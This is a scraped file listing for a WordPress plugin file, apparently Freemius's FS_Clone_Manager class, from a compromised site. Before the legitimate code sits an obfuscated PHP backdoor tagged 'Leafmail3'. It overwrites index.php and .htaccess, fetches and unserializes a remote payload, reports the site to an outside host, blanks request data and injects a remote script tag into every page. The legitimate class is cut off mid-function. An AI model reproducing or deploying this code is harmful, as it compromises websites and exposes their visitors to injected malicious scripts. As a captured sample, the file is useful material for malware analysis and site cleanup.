/
www
/
wwwroot
/
alo88.autos
/
wp-content
/
plugins
/
internal-links
/
freemius
/
includes
/
managers
/
Upload File
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php /** * @package Freemius * @copyright Copyright (c) 2015, Freemius, Inc. * @license https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3 * @author Leo Fajardo (@leorw) * @since 2.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Manages the detection of clones and provides the logged-in WordPress user with options for manually resolving them. * * @since 2.5.0 * * @property int $clone_identification_timestamp * @property int $temporary_duplicate_mode_selection_timestamp * @property int $temporary_duplicate_notice_shown_timestamp * @property string $request_handler_id * @property int $request_handler_timestamp * @property int $request_handler_retries_count * @property bool $hide_manual_resolution * @property array $new_blog_install_map */ class FS_Clone_Manager { /** * @var FS_Option_Manager */ private $_storage; /** * @var FS_Option_Manager */ private $_network_storage; /** * @var FS_Admin_Notices */ private $_notices; /** * @var FS_Logger */ protected $_logger; /** * @var int 3 minutes */ const CLONE_RESOLUTION_MAX_EXECUTION_TIME = 180; /** * @var int */ const CLONE_RESOLUTION_MAX_RETRIES = 3; /** * @var int */ const TEMPORARY_DUPLICATE_PERIOD = WP_FS__TIME_WEEK_IN_SEC * 2; /** * @var string */ const OPTION_NAME = 'clone_resolution'; /** * @var string */ const OPTION_MANAGER_NAME = 'clone_management'; /** * @var string */ const OPTION_TEMPORARY_DUPLICATE = 'temporary_duplicate'; /** * @var string */ const OPTION_LONG_TERM_DUPLICATE = 'long_term_duplicate'; /** * @var string */ const OPTION_NEW_HOME = 'new_home'; #-------------------------------------------------------------------------------- #region Singleton #-------------------------------------------------------------------------------- /** * @var FS_Clone_Manager */ private static $_instance; /** * @return FS_Clone_Manager */ static function instance() { if ( ! isset( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } #endregion private function __construct() { $this->_storage = FS_Option_Manager::get_manager( WP_FS___OPTION_PREFIX . self::OPTION_MANAGER_NAME, true ); $this->_network_storage = FS_Option_Manager::get_manager( WP_FS___OPTION_PREFIX . self::OPTION_MANAGER_NAME, true, true ); $this->maybe_migrate_options(); $this->_notices = FS_Admin_Notices::instance( 'global_clone_resolution_notices', '', '', true ); $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . '_clone_manager', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); } /** * Migrate clone resolution options from 2.5.0 array-based structure, to a new flat structure. * * The reason this logic is not in a separate migration script is that we want to be 100% sure data is migrated before any execution of clone logic. * * @todo Delete this one in the future. */ private function maybe_migrate_options() { $storages = array( $this->_storage, $this->_network_storage ); foreach ( $storages as $storage ) { $clone_data = $storage->get_option( self::OPTION_NAME ); if ( is_array( $clone_data ) && ! empty( $clone_data ) ) { foreach ( $clone_data as $key => $val ) { if ( ! is_null( $val ) ) { $storage->set_option( $key, $val ); } } $storage->unset_option( self::OPTION_NAME, true ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _init() { if ( is_admin() ) { if ( Freemius::is_admin_post() ) { add_action( 'admin_post_fs_clone_resolution', array( $this, '_handle_clone_resolution' ) ); } if ( Freemius::is_ajax() ) { Freemius::add_ajax_action_static( 'handle_clone_resolution', array( $this, '_clone_resolution_action_ajax_handler' ) ); } else { if ( empty( $this->get_clone_identification_timestamp() ) && ( ! fs_is_network_admin() || ! ( $this->is_clone_resolution_options_notice_shown() || $this->is_temporary_duplicate_notice_shown() ) ) ) { $this->hide_clone_admin_notices(); } else if ( ! Freemius::is_cron() && ! Freemius::is_admin_post() ) { $this->try_resolve_clone_automatically(); $this->maybe_show_clone_admin_notice(); add_action( 'admin_footer', array( $this, '_add_clone_resolution_javascript' ) ); } } } } /** * Retrieves the timestamp that was stored when a clone was identified. * * @return int|null */ function get_clone_identification_timestamp() { return $this->get_option( 'clone_identification_timestamp', true ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @param string $sdk_last_version */ function maybe_update_clone_resolution_support_flag( $sdk_last_version ) { if ( null !== $this->hide_manual_resolution ) { return; } $this->hide_manual_resolution = ( ! empty( $sdk_last_version ) && version_compare( $sdk_last_version, '2.5.0', '<' ) ); } /** * Stores the time when a clone was identified. */ function store_clone_identification_timestamp() { $this->clone_identification_timestamp = time(); } /** * Retrieves the timestamp for the temporary duplicate mode's expiration. * * @return int */ function get_temporary_duplicate_expiration_timestamp() { $temporary_duplicate_mode_start_timestamp = $this->was_temporary_duplicate_mode_selected() ? $this->temporary_duplicate_mode_selection_timestamp : $this->get_clone_identification_timestamp(); return ( $temporary_duplicate_mode_start_timestamp + self::TEMPORARY_DUPLICATE_PERIOD ); } /** * Determines if the SDK should handle clones. The SDK handles clones only up to 3 times with 3 min interval. * * @return bool */ private function should_handle_clones() { if ( ! isset( $this->request_handler_timestamp ) ) { return true; } if ( $this->request_handler_retries_count >= self::CLONE_RESOLUTION_MAX_RETRIES ) { return false; } // Give the logic that handles clones enough time to finish (it is given 3 minutes for now). return ( time() > ( $this->request_handler_timestamp + self::CLONE_RESOLUTION_MAX_EXECUTION_TIME ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @return bool */ function should_hide_manual_resolution() { return ( true === $this->hide_manual_resolution ); } /** * Executes the clones handler logic if it should be executed, i.e., based on the return value of the should_handle_clones() method. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function maybe_run_clone_resolution() { if ( ! $this->should_handle_clones() ) { return; } $this->request_handler_retries_count = isset( $this->request_handler_retries_count ) ? ( $this->request_handler_retries_count + 1 ) : 1; $this->request_handler_timestamp = time(); $handler_id = ( rand() . microtime() ); $this->request_handler_id = $handler_id; // Add cookies to trigger request with the same user access permissions. $cookies = array(); foreach ( $_COOKIE as $name => $value ) { $cookies[] = new WP_Http_Cookie( array( 'name' => $name, 'value' => $value, ) ); } wp_remote_post( admin_url( 'admin-post.php' ), array( 'method' => 'POST', 'body' => array( 'action' => 'fs_clone_resolution', 'handler_id' => $handler_id, ), 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, 'cookies' => $cookies, ) ); } /** * Executes the clones handler logic. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _handle_clone_resolution() { $handler_id = fs_request_get( 'handler_id' ); if ( empty( $handler_id ) ) { return; } if ( ! isset( $this->request_handler_id ) || $this->request_handler_id 